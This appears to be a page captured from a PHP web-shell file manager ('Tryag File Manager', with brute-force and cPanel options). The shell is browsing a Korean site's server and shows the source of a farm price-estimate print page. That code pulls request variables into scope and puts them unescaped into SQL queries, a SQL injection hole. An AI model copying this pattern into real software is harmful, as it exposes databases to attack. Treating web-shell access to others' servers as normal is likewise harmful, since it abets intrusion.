Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
egg.eemo.co.kr
/
public_html
/
super5
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/egg.eemo.co.kr/public_html/super5/paper_estimate_print.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); foreach($_POST as $key => $value) { ${$key}=$value; } foreach($_GET as $key => $value) { ${$key}=$value; } include_once("dbconn.php"); include_once("lib.php"); $rs=RS("select * from farm_estimate where no='$no' "); $rs_total=RS("select sum(hapga) as cnt from farm_estimate_prd where esti_no='$no' "); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <title>견적서</title> </head> <body> <style> body { -webkit-print-color-adjust: exact; } </style> <table width='1024' cellpadding='0' cellspacing='0' border='0' style='margin-top:40px;padding:0'> <tr> <td colspan='2' height='50' align='center' style='background:#000000;color:#ffffff'> <h2>견 적 서</h2> </td> </tr> <tr> <td width='500' style='padding-top:20px'> <table> <tr> <td align='center' width='120' height='28'>농가명</td> <td align='center'>:</td> <td align='left'> <?=$rs[farm_name]?></td> </tr> <tr> <td align='center' width='120' height='28'>주소</td> <td align='center'>:</td> <td align='left'> <?=$rs[addr]?> <?=$rs[addr2]?></td> </tr> <tr> <td align='center' width='120' height='28'>견적일</td> <td align='center'>:</td> <td align='left'> <?=date('Y년 m월 d일',strtotime($rs[jdate]))?></td> </tr> <tr> <td align='center' width='120' height='28'>견적조건</td> <td align='center'>:</td> <td align='left'> <?=$rs[jogun]?></td> </tr> <tr> <td align='center' width='120' height='28'>유효기간</td> <td align='center'>:</td> <td align='left'> <?=$rs[uhyo_gigan]?></td> </tr> </table> </td> <td style='padding-top:30px;vertical-align:top' align='right'> <table width='360' style='border:2px black solid' cellspacing='0'> <tr> <td align='center' colspan='2' height='30' style='border-bottom:1px #b8b8b8 solid'>대전광역시 서구 관저동 1115번지 3층</td> </tr> <tr> <td align='center' height='30' style='border-bottom:1px #b8b8b8 solid;border-right:1px #b8b8b8 solid;'>주식회사</td> <td align='center' style='border-bottom:1px #b8b8b8 solid'>양계인</td> </tr> <tr> <td align='center' height='30' style='border-bottom:1px #b8b8b8 solid;border-right:1px #b8b8b8 solid;'>대표이사</td> <td align='center' style='border-bottom:1px #b8b8b8 solid'>박성용</td> </tr> <tr> <td align='center' height='30' style='border-bottom:1px #b8b8b8 solid;border-right:1px #b8b8b8 solid;'>TEL</td> <td align='center' style='border-bottom:1px #b8b8b8 solid'>042-582-8494</td> </tr> <tr> <td align='center' height='30' style='border-right:1px #b8b8b8 solid;'>FAX</td> <td align='center' style=''>042-582-8493</td> </tr> </table> </td> </tr> <tr> <td height='150' align='center' colspan='2'>아래와 같이 견적합니다.</td> </tr> <tr> <td align='center' colspan='2' style='vertical-align:top'> <table width='100%' style='border:2px black solid' cellspacing='0'> <tr> <th width='50' height='30' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>구분</th> <th width='150' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>품목구분</th> <th width='250' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>품명</th> <th width='50' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>단위</th> <th width='100' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>수량</th> <th width='150' style='border-right:2px black solid;border-bottom:2px black solid;background:#cfcfcf'>단가</th> <th width='150' style='border-bottom:2px black solid;background:#cfcfcf'>합계</th> </tr> <? $m=0; $result_vv=mysql_query("select * from farm_estimate_prd where esti_no='{$rs[no]}' order by no asc ") or die(); $cnt=mysql_num_rows($result_vv); for($n=1;$n<=20;$n++) { $rs_vv=mysql_fetch_array($result_vv); $rs_prd=RS("select * from prd_panme_danga where no='{$rs_vv[prd_no]}' "); if($rs_vv[no]) { $m++; if($cnt==$m) { ?> <tr> <td height='30' align='center' style='border-right:2px black solid'><?=$m?></td> <td height='30' align='center' style='border-right:2px black solid'><?=$rs_vv[pummok]?></td> <td height='30' align='center' style='border-right:2px black solid'><?=$rs_prd[prd_name]?></td> <td height='30' align='center' style='border-right:2px black solid'><?=$rs_prd[danwi]?></td> <td height='30' align='center' style='border-right:2px black solid'><?=$rs_vv[su]?></td> <td height='30' align='right' style='border-right:2px black solid;padding-right:10px'><?=number_format($rs_vv[danga])?></td> <td height='30' align='right' style='border-bottom:1px #b8b8b8 solid;padding-right:10px'><?=number_format($rs_vv[hapga])?></td> </tr> <? } else { ?> <tr> <td height='30' align='center' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid'><?=$m?></td> <td height='30' align='center' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid'><?=$rs_vv[pummok]?></td> <td height='30' align='center' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid'><?=$rs_prd[prd_name]?></td> <td height='30' align='center' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid'><?=$rs_prd[danwi]?></td> <td height='30' align='center' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid'><?=$rs_vv[su]?></td> <td height='30' align='right' style='border-right:2px black solid;border-bottom:1px #b8b8b8 solid;padding-right:10px'><?=number_format($rs_vv[danga])?></td> <td height='30' align='right' style='border-bottom:1px #b8b8b8 solid;padding-right:10px'><?=number_format($rs_vv[hapga])?></td> </tr> <? } } } ?> <tr> <td colspan='6' height='30' align='center' style='border-top:2px black solid;border-right:2px black solid;background:#cfcfcf'><b>합 계</b></td> <td eight='30' align='right' style='border-top:2px black solid;background:#cfcfcf;padding-right:10px'><b><?=number_format($rs_total[cnt])?></b></td> </tr> </table> </td> </tr> <tr> <td height='40' align='center' colspan='2'> </td> </tr> <tr> <td align='center' colspan='2'> <table width='100%' cellspacing='0'> <tr> <td width='300' style='vertical-align:top'> <table width='100%' style='border:2px black solid' cellspacing='0'> <tr> <th colspan='2' height='30' align='center' style='border-bottom:2px black solid;background:#cfcfcf'>11월 계약 (5% 할인)</th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>견적가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['11_total_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>할인가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'>-<?=number_format($rs['11_hal_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>합계*</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['11_hap_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>부가세</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['11_bugase'])?></th> </tr> <tr> <th height='30' align='center' style='background:#000;color:#fff'>총합계</th> <th height='30' align='right' style='background:#000;color:#fff;padding-right:10px'><?=number_format( floor($rs['11_total_hap']/1000)*1000 )?></th> </tr> </table> </td> <td width='40' style='vertical-align:top'> </td> <td width='300' style='vertical-align:top'> <table width='100%' style='border:2px black solid' cellspacing='0'> <tr> <th colspan='2' height='30' align='center' style='border-bottom:2px black solid;background:#cfcfcf'>12월 계약 (3% 할인)</th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>견적가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['12_total_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>할인가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'>-<?=number_format($rs['12_hal_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>합계*</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['12_hap_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>부가세</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['12_bugase'])?></th> </tr> <tr> <th height='30' align='center' style='background:#000;color:#fff'>총합계</th> <th height='30' align='right' style='background:#000;color:#fff;padding-right:10px'><?=number_format( floor($rs['12_total_hap']/1000)*1000 )?></th> </tr> </table> </td> <td width='40' style='vertical-align:top'> </td> <td width='300' style='vertical-align:top'> <table width='100%' style='border:2px black solid' cellspacing='0'> <tr> <th colspan='2' height='30' align='center' style='border-bottom:2px black solid;background:#cfcfcf'>2020년 계약</th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>견적가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['20_total_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>할인가액</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'>-<?=number_format($rs['20_hal_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>합계*</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['20_hap_ga'])?></th> </tr> <tr> <td height='30' align='center' style='border-bottom:2px black solid;border-right:2px black solid;'>부가세</th> <td height='30' align='right' style='border-bottom:2px black solid;padding-right:10px'><?=number_format($rs['20_bugase'])?></th> </tr> <tr> <th height='30' align='center' style='background:#000;color:#fff'>총합계</th> <th height='30' align='right' style='background:#000;color:#fff;padding-right:10px'><?=number_format( floor($rs['20_total_hap']/1000)*1000 )?></th> </tr> </table> </td> </tr> </table> </td> </tr> <tr> <td height='40' align='center' colspan='2'> </td> </tr> <tr> <td height='30' align='left' colspan='2'>* 천원단위 절삭</td> </tr> <tr> <td height='30' align='left' colspan='2'>** 상기 금액은 현금결제 조건이며, 할부 납입 시 견적은 문의부탁드립니다.</td> </tr> </table> <!-- <table width='720' cellpadding='0' cellspacing='0' border='0' style='margin-top:-10px;padding:0'> <tr> <td width='353.75' rowspan='2' height='100' align='center' style='line-height:30px'> <font style='font-size:25px;font-weight:800'><b>공 사 일 보</b></font> <a id="kakao-link-btn" href="javascript:;" style='position:absolute;top:23px;left:280px'> <img src="//developers.kakao.com/assets/img/about/logos/kakaolink/kakaolink_btn_medium.png" style='height:50px'/> </a> </td> <td width='366.25' rowspan='2' height='100' align='right' > <table cellpadding='0' cellspacing='0' bordercolor='black' border='0' style='border-collapse:collapse;margin:0px;;padding:0;border:1px black solid'> <tr> <td height='16' width='25' align='center' rowspan='2' style='font-size:10px;border-left:0px black solid;border-right:1px black solid;border-top:0px black solid;border-bottom:0px black solid'>결<br><br>재</td> <td height='16' width='66.25' align='center' style='font-size:10px;border-left:0px black solid;border-right:1px black solid;border-top:0px black solid;border-bottom:1px black solid'>담 당</td> <td height='16' width='66.25' align='center' style='font-size:10px;border-left:0px black solid;border-right:1px black solid;border-top:0px black solid;border-bottom:1px black solid'>공 사</td> <td height='16' width='66.25' align='center' style='font-size:10px;border-left:0px black solid;border-right:1px black solid;border-top:0px black solid;border-bottom:1px black solid'>공 무</td> <td height='16' width='66.25' align='center' style='font-size:10px;border-left:0px black solid;border-right:1px black solid;border-top:0px black solid;border-bottom:1px black solid'>관 리</td> <td height='16' width='66.25' align='center' style='font-size:10px;border-left:0px black solid;border-right:0px black solid;border-top:0px black solid;border-bottom:1px black solid'>소 장</td> </tr> -->